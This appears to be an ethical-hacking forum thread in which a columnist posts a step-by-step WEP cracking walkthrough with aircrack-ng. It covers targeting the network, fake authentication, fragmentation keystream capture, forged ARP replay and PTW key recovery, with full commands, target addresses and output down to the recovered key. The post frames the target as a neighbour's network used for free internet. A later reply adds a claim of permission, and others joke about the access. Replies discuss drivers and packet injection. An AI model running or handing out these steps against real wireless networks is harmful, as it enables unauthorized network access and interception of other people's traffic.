Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
Jan 2009 Free Giveaway Sponsor - Black Hat DC
Scooby Doo and the Crypto Caper - Answers and Winners
Daemon - A Contest Revealed
Hacking: The Art of Exploitation 2nd Edition
Nov 2008 Free Giveaway - Winners
Dec 2008 Free Giveaway Sponsor - SANS
Santa Claus is Hacking to Town
Plug-N-Play Network Hacking
Nov 2008 Free Giveaway Sponsor - CWNP
Daemon - A Contest Begins Now
It Happened One Friday - Answers and Winners
Daemon - A Contest
Scooby Doo and the Crypto Caper
MS Blue Hat Hackers Headline Chicago Security Con
The Pen Testing Perfect Storm Webcast Series with Skoudis, Wright, Johnson
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 21 guests and 4 members online
EH-Net Donations
Enter Amount:
$
CAD
USD
GBP
AUD
JPY
EUR
Google Ads
EH-Net News Feeds
Latest Additions
Book Recommendations
You are here:
Home
Forum
Columns
Gates
cracking WEP with aircrack-ng
Ethical Hacker Community Forums
January 07, 2009, 09:30:58 PM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: ChicagoCon 2-Day Ethical Hacking Conference with MS Blue Hats Oct 31 - Nov 1. Tickets Only $100!
www.chicagocon.com/content/view/103/51/
Home
Help
Calendar
Login
Register
Ethical Hacker Community Forums
>
Columns
>
Gates
(Moderator:
don
) >
cracking WEP with aircrack-ng
Pages: [
1
]
2
Go Down
« previous
next »
Print
Author
Topic: cracking WEP with aircrack-ng (Read 12092 times)
0 Members and 1 Guest are viewing this topic.
ChrisG
EH-Net Columnist
Hero Member
Online
Posts: 1049
cracking WEP with aircrack-ng
«
on:
November 27, 2007, 07:52:49 AM »
i just moved from Texas to Northern VA and its been hell finding a place to rent. We finally found a place but the cable man didn't come till monday, now that wont do i need my EH.net fix. thankfully there are plenty of wifi networks i can see from inside the house...
######################
# Step 1: Target a specific network #
######################
root@segfault:/home/cg/eric-g# airodump-ng --bssid 00:18:F8:F4:CF:E4 -c 9 ath2 -w eric-g
CH 9 ][ Elapsed: 4 mins ][ 2007-11-21 23:08
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:18:F8:F4:CF:E4 21 21 2428 26251 0 9 48 WEP WEP OPN eric-G
BSSID STATION PWR Lost Packets Probes
00:18:F8:F4:CF:E4 06:19:7E:8E:72:87 23 0 34189
###########################
# Step 2: Associate with the target network #
###########################
root@segfault:/home/cg/eric-g# aireplay-ng -1 600 -e eric-G -a 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 ath2
22:53:23 Waiting for beacon frame (BSSID: 00:18:F8:F4:CF:E4)
22:53:23 Sending Authentication Request
22:53:23 Authentication successful
22:53:23 Sending Association Request
22:53:24 Association successful :-)
22:53:39 Sending keep-alive packet
22:53:54 Sending keep-alive packet
22:54:09 Sending keep-alive packet
22:54:24 Sending keep-alive packet
22:54:39 Sending keep-alive packet
22:54:54 Sending keep-alive packet
22:55:09 Sending keep-alive packet
22:55:24 Sending keep-alive packet
22:55:39 Sending keep-alive packet
22:55:54 Sending keep-alive packet
22:55:54 Got a deauthentication packet!
22:55:57 Sending Authentication Request
22:55:59 Sending Authentication Request
22:55:59 Authentication successful
22:55:59 Sending Association Request
22:55:59 Association successful :-)
22:56:14 Sending keep-alive packet
***KEEP THAT RUNNING
####################
# Step 3: Generate Key Stream #
####################
root@segfault:/home/cg/eric-g# aireplay-ng -5 -b 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 ath2
22:59:41 Waiting for a data packet...
Read 873 packets...
Size: 352, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:18:F8:F4:CF:E4
Dest. MAC = 01:00:5E:7F:FF:FA
Source MAC = 00:18:F8:F4:CF:E2
0x0000: 0842 0000 0100 5e7f fffa 0018 f8f4 cfe4 .B....^........
0x0010: 0018 f8f4 cfe2 c0b5 121a 4600 0e18 0f3d ..........F....=
0x0020: bd80 8c41 de34 0437 8d2d c97f 2447 3d81 ...A.4.7.-.$G=.
0x0030: 9bdc 68da 06b2 18be 9cd6 9cb4 9443 8725 ..h..........C.%
0x0040: 87f6 9a14 1ff9 0cfa bd36 862e ec54 7215 .........6...Tr.
0x0050: 335b 4a91 d6a4 caae 5a58 a736 6230 87d9 3[J.....ZX.6b0..
0x0060: 4e14 7617 21c6 eda4 9b0d 3a00 0b4f 47ab N.v.!.....:..OG.
0x0070: a529 dedf 4c13 880c a1e6 37f7 50e6 599c .)..L.....7.P.Y.
0x0080: 0a4c 0b7f 24ae b019 ef2f 36b9 c499 8643 .L.$..../6....C
0x0090: 6592 5835 23e5 c8e9 d1b9 3d36 1fe5 ecfe e.X5#.....=6....
0x00a0: 510b 51ba 4fe4 e2ed d33b 0459 ca68 82b8 Q.Q.O....;.Y.h..
0x00b0: c856 ea70 829f c753 1614 290e d051 392f .V.p...S..)..Q9/
0x00c0: fa65 cbc6 c5f8 24b1 cdbd 94e5 08c3 2dd4 .e....$.......-.
0x00d0: 6e4b 983b dc82 b2cd b3f1 dab5 b816 6188 nK.;..........a.
--- CUT ---
Use this packet ? y
Saving chosen packet in replay_src-1121-230028.cap
23:00:38 Data packet found!
23:00:38 Sending fragmented packet
23:00:38 Got RELAYED packet!!
23:00:38 Thats our ARP packet!
23:00:38 Trying to get 384 bytes of a keystream
23:00:38 Got RELAYED packet!!
23:00:38 Thats our ARP packet!
23:00:38 Trying to get 1500 bytes of a keystream
23:00:38 Got RELAYED packet!!
23:00:38 Thats our ARP packet!
Saving keystream in fragment-1121-230038.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
######################
# Step 4: Build a valid ARP Packet #
######################
root@segfault:/home/cg/eric-g# packetforge-ng -0 -a 00:18:F8:F4:CF:E4 -h 06:19:7E:8E:72:87 -k 255.255.255.255 -l 255.255.255.255 -w arp -y *.xor
Wrote packet to: arp
#########################
# Step 5: Generate your own arp traffic #
#########################
root@segfault:/home/cg/eric-g# aireplay-ng -2 -r arp -x 150 ath2
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:18:F8:F4:CF:E4
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 06:19:7E:8E:72:87
0x0000: 0841 0201 0018 f8f4 cfe4 0619 7e8e 7287 .A..........~.r.
0x0010: ffff ffff ffff 8001 1f1a 4600 c9d3 e5e7 ..........F.....
0x0020: d65a 6a63 0b51 bb60 8390 a8b4 947d 456f .Zjc.Q.`.....}Eo
0x0030: 3a05 25b2 7464 7db7 c49b d38a f789 822c :.%.td}........,
0x0040: 83a8 93c5 ....
Use this packet ? y
Saving chosen packet in replay_src-1121-230224.cap
You should also start airodump-ng to capture replies. **we started airodump on step1
**at this point your airodump capture should really be filling up with a ton of data packets as we do the arp replay attack
################
# Step 6: Start cracking #
################
**we can run aircrack while the arp replay attack is ongoing, so you dont have to stop the arp replay or fake authentication sessions.
cg@segfault:~/eric-g$ aircrack-ng -z eric-g-05.cap
Opening eric-g-05.cap
Read 64282 packets.
# BSSID ESSID Encryption
1 00:18:F8:F4:CF:E4 eric-G WEP (21102 IVs)
Choosing first network as target.
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 21397 ivs.
Aircrack-ng 0.9.1
[00:00:11] Tested 78120/140000 keys (got 22918 IVs)
KB depth byte(vote)
0 3/ 5 34( 111) 70( 109) 42( 107) 2C( 106) B9( 106) E3( 106)
1 1/ 14 34( 115) 92( 110) 35( 109) 53( 109) 33( 108) CD( 107)
2 6/ 18 91( 114) E7( 114) 21( 111) 0E( 110) 88( 109) C6( 109)
3 2/ 31 37( 109) 80( 109) 5F( 108) 92( 108) 9E( 108) 9B( 107)
4 0/ 2 29( 129) 55( 114) AD( 112) 6A( 111) BB( 110) C1( 110)
KEY FOUND! [ 70:34:91:37:29 ]
Decrypted correctly: 100%
Total time to crack, 4 minutes ;-)
Logged
...tests i took go here...
http://carnal0wnage.blogspot.com/
BillV
Hero Member
Offline
Posts: 881
Re: cracking WEP with aircrack-ng
«
Reply #1 on:
November 27, 2007, 10:33:21 AM »
Disclaimer: The WiFi AP used in this scenario was owned by a friend who had given permission to test the WEP encryption.
Logged
slimjim100
EH-Net Columnist
Sr. Member
Offline
Posts: 365
Re: cracking WEP with aircrack-ng
«
Reply #2 on:
November 27, 2007, 01:10:35 PM »
lol yea and this was just an "Ethical" example of remote access.
Brian
Logged
CISSP, CCSE, CCNA, CCAI, Network+, Security+, JNCIA, & MCP
Kev
Sr. Member
Offline
Posts: 359
Re: cracking WEP with aircrack-ng
«
Reply #3 on:
November 27, 2007, 01:42:49 PM »
Northern VA? Thats my old stomping ground. I still have a lot of family there. Next time I get back that way I will buy you a beer!
Logged
ChrisG
EH-Net Columnist
Hero Member
Online
Posts: 1049
Re: cracking WEP with aircrack-ng
«
Reply #4 on:
November 27, 2007, 02:28:30 PM »
cheers!
Logged
...tests i took go here...
http://carnal0wnage.blogspot.com/
EmanoN
Newbie
Offline
Posts: 41
Re: cracking WEP with aircrack-ng
«
Reply #5 on:
November 29, 2007, 12:13:10 AM »
I really had to bite my tongue on this one, but in my not so humble attempt to be not such a dick, I guess I will let this one slide! At least you are honest about it. Enjoy your free internet CEH.
«
Last Edit: November 29, 2007, 12:14:45 AM by EmanoN
»
Logged
ChrisG
EH-Net Columnist
Hero Member
Online
Posts: 1049
Re: cracking WEP with aircrack-ng
«
Reply #6 on:
November 29, 2007, 07:36:31 AM »
did that count as your last post?
Logged
...tests i took go here...
http://carnal0wnage.blogspot.com/
blinkcrack
Newbie
Offline
Posts: 10
Re: cracking WEP with aircrack-ng
«
Reply #7 on:
January 13, 2008, 12:20:13 AM »
hi .... im having problems with airodump, looks like i need a driver or something like that.. im using win. vista
thx
Logged
>.WaT?ThEHeLL.*R/YoU'waiTinG4??.<
ChrisG
EH-Net Columnist
Hero Member
Online
Posts: 1049
Re: cracking WEP with aircrack-ng
«
Reply #8 on:
January 13, 2008, 06:23:09 AM »
did you go to the aircrack site and see if your wifi card was supported?
but yeah, you'll need a driver
Logged
...tests i took go here...
http://carnal0wnage.blogspot.com/
Kev
Sr. Member
Offline
Posts: 359
Re: cracking WEP with aircrack-ng
«
Reply #9 on:
January 13, 2008, 10:09:01 AM »
Dont waste your time doing it with windows. You are not going to be able to inject.
Logged
dannioni
Newbie
Offline
Posts: 44
Re: cracking WEP with aircrack-ng
«
Reply #10 on:
January 13, 2008, 01:21:37 PM »
Great post, so now I have two questions, do you really need to re-authenticate constantly, and more importantly, I did a wireless pen test for a company last week, they used wep
, so I injected arp packets and ran aircrack-ng with -z, I was suprise to see that the attack did not succeed even with 1m IVs, I cracked it with the standard mode, but now I' wondering anyone have any idea why it failed?
Logged
Kev
Sr. Member
Offline
Posts: 359
Re: cracking WEP with aircrack-ng
«
Reply #11 on:
January 14, 2008, 12:51:58 PM »
I assume you are using the latest aircrack-ng since you are using the PTW command. I have found cracking wep sometimes also requires a little luck and I believe the aircrack-ng site states the same thing. I have cracked 128 encryption with less than 200,000 IVs and once in awhile it has taken 2 million!
I really believe from my experience you will get the best results from using linux for this. Aircrack-ng was written to run on linux and later "ported" to run on windows and I use the term ported loosely. However, you can get a driver that will enable many cards to go into monitor mode on windows at the wildpackets site.
http://www.wildpackets.com/support/downloads
As far as I know there is no "free" or stable way to inject packets with windows, unless you want to spend several hundred dollars. There are some windows hacks but reports are they are not reliable. I haven't tired to inject with windows but a colleague of mine has and mentioned the results were not that great and not worth the cost. Again , I cant say personally, but I would spend money on that solution with caution.
If anyone here has had direct success with packet injection with windows, please share your experience.
«
Last Edit: January 14, 2008, 03:24:40 PM by Kev
»
Logged
bojan
Newbie
Offline
Posts: 19
Re: cracking WEP with aircrack-ng
«
Reply #12 on:
April 11, 2008, 01:44:37 AM »
for this purpose I have to set my wireless client to moniter mode!!so I need drivers for that!!my question is manufacturer supplied drivers will work or not if,i am in a limited account???
Logged
ChrisG
EH-Net Columnist
Hero Member
Online
Posts: 1049
Re: cracking WEP with aircrack-ng
«
Reply #13 on:
April 11, 2008, 11:13:03 AM »
best thing to use is the madwifi drivers, but maybe one of the wireless gurus will answer. i've had no issues with those drivers though. I also have an atheros card.
Logged
...tests i took go here...
http://carnal0wnage.blogspot.com/
Kev
Sr. Member
Offline
Posts: 359
Re: cracking WEP with aircrack-ng
«
Reply #14 on:
April 11, 2008, 12:08:32 PM »
I use the madwifi drivers also, but also I use hostap drivers sometimes because some apps i like require these. Make sure the kernel you are running works with the driver you want to use. I have seen guys trying to compile drivers over and over trying to get them to work to no avail only to discover the kernel they are running doesnt support the driver they are trying to use, so save yourself some time and frustration. The aircrack-ng site has good instructions on how to modify the drivers you need. A lot depends on what you are trying to do. Typically you need "hacked" drivers in order to inject packets and when cracking smaller networks, packet injection is a must unless you want to spend days collecting IVs. Packet injection requires more than just being in monitor mode. You might find you can put your card into monitor mode but it doesn't inject. The aircrack-ng site really has a lot of good info on it and anyone serious about cracking wifi should read it completely. After that you can bring in other apps or write your own to augment what you are doing. At that point you have a good foundation. Once you have it down, cracking wifi can be the most enjoyable thing you can do. Its actually can be cool watching all the packets your collecting and the aircrack-ng suite makes it very visual as you watch 1000 of packets inject and collect until the key "pops" up. Actually its one of the few visual hacks that would be interesting enough for hollywood.
«
Last Edit: April 11, 2008, 12:22:24 PM by Kev
»
Logged
Pages: [
1
]
2
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Special Events
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009
=> News Items and General Discussion About EH-Net
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> Certification
===> The Charter Study Group - Pen Test
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
=====> CEH - Official Course Modules v4
=====> CEH - Official Course Modules v5
=====> CEH - Official Course Modules v6
===> CPTS - Certified Pen Testing Specialist
=====> CPTS - Official Course Modules v5
===> CPTE - Certified Pen Testing Expert
=====> CPTE - Official Course Modules v1
===> ECSA - EC-Council Certified Security Analyst
=====> ECSA - Official Course Modules v1.2
=====> ECSA / LPT - Official Course Modules v3
===> OSCP - Offensive Security Certified Professional
===> GPEN - GIAC Certified Penetration Tester
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
=====> CHFI - Official Course Modules v2
===> EnCE - EnCase® Certified Examiner
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Hardware
=> Malware
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Gates
=> Heffner
=> Hoffman
=> RichM
=> Murray
=> J. Peltier
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
Loading...
Sponsors
Polls
How many security events including conferences and training do you attend a year:
1 - 2
3 - 4
5 - 6
7+
None - But want to
None - Choose not to
Support EH-Net
Support EH-Net by
Buying all of your
Amazon items using
the search bar above.
Try CBT Nuggets Free!
Recent Forum Topics
Gates
: Oracle version module for metasploit
(1) by
jason
Oct 2008 - Scooby Doo and the Crypto Caper
: Skillz October 08 Winning Entry - Creative
(1) by
jason
Oct 2008 - Scooby Doo and the Crypto Caper
: [Article]-Scooby Doo and the Crypto Caper - Answers and Winners
(2) by
jason
News Items and General Discussion About EH-Net
: [Article]-Jan 2009 Free Giveaway Sponsor - Black Hat DC
(1) by
jason
Book Reviews
: Need a book suggestion!
(2) by
jason
CEH - Certified Ethical Hacker
: CEH is a scam
(16) by
jason
Links to cool sites.
: Free Computer Engineering Classes From Stanford
(2) by
shednik
Book Reviews
: [Article]-Mitnick - The Art Of Intrusion: Ch 1 - Hacking The Casinos For A Million Bu...
(4) by
ethicalhack3r
News Items and General Discussion About EH-Net
: EH-Net Milestone - 2 Articles Cross 1 Million Page Views
(3) by
BillV
Other
: What kind of lab, machines you have for your security testing?
(12) by
charlottebandit
Wireless
: Wireless Pen Testing Cards
(5) by
charlottebandit
Oct 2008 - Scooby Doo and the Crypto Caper
: Skillz October 08 Winning Entry - Technical
(0) by
don
Malware
: Network Virus Problem
(9) by
RoleReversal
Wireless
: WUSB600N good usb ?
(2) by
nap191
News from the Outside World
: Is this acceptable?
(8) by
NickFnord
Other
: FBI code cracking challenge
(3) by
jimbob
Calendar Of Events
: RSA 2009
(0) by
don
Forensics
: Network Forensic tools/practice/techniques
(2) by
jimbob
Malware
: Autoplay when i try to open the drive.
(4) by
jimbob
Physical Security
: Magnetic stripe card spoofing
(4) by
jimbob
Malware
: THe website is Evil but what to do??
(1) by
jimbob
Other
: Insanity?
(3) by
jason
CEH - Certified Ethical Hacker
: Any Practice Environment for learning tool for CEH?
(15) by
don
Wireless
: a petri-dish bridge
(2) by
don
CEH - Certified Ethical Hacker
: TFTP Tranfer time out
(5) by
jason
Tools
: tool to trace users
(8) by
pseud0
Malware
: Malware Challenge 2008 Analysis
(0) by
blackazarro
Programming
: Python 3.0 Released
(0) by
don
Forensics
: SANS SIFT Forensic toolkit
(1) by
don
Links to cool sites.
: Omgili Hacking - Another Search Engine dedicated to Hacking Related Forums
(2) by
RoleReversal
Tools
: Insecure.org's 2006 Top 100 Security Tools List Released
(10) by
shednik
Malware
: Security Forecast for 2009
(4) by
shednik
Other
: Happy New Year!
(8) by
vijay2
CEH - Official Course Modules v6
: Community-built CEH Wiki
(2) by
yehg
Links to cool sites.
: 25C3 25th Chaos Communication Congress
(4) by
alan
Other
: Math Review
(3) by
don
Other
: will this get me anywhere?
(5) by
jason
Vote For EH-Net
progenic.com
binarica.com
technorati fave
Privacy Notice
for TDCC & All Properties
© 2009 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.